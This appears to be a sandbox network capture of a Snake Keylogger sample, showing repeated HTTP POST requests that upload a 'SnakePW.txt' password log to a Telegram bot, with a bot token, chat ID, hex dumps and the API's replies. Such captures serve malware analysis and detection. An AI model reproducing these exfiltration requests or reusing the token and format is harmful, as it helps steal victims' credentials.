Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.5	50037	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:55 UTC	300	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575702211da0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:55 UTC	300	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 32 32 31 31 64 61 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575702211da0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:55 UTC	301	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:55 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:55 UTC	301	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66948,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228835,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.5	50039	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:55 UTC	302	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757025cb83f Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:55 UTC	302	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 32 35 63 62 38 33 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757025cb83fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:55 UTC	303	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:55 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:55 UTC	303	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66949,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228835,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49786	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:45 UTC	30	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d8b3d0ea Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:45 UTC	30	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 38 62 33 64 30 65 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d8b3d0eaContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:46 UTC	31	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:46 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:46 UTC	31	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66765,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228766,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.5	50040	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:56 UTC	303	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575702938e2d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:56 UTC	304	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 32 39 33 38 65 32 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575702938e2dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:56 UTC	304	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:56 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:56 UTC	305	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66950,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228836,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.5	50042	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:56 UTC	305	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575702d65175 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:56 UTC	305	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 32 64 36 35 31 37 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575702d65175Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:56 UTC	306	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:56 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:56 UTC	306	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66951,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228836,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.5	50043	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:56 UTC	307	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757030d2640 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:56 UTC	307	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 33 30 64 32 36 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757030d2640Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:57 UTC	308	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:57 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:57 UTC	308	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66952,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228837,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.5	50045	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:57 UTC	309	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570348c170 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:57 UTC	309	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 33 34 38 63 31 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570348c170Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:57 UTC	309	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:57 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:57 UTC	310	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 35 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66954,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228837,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.5	50047	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:57 UTC	310	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570386be2e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:57 UTC	311	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 33 38 36 62 65 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: 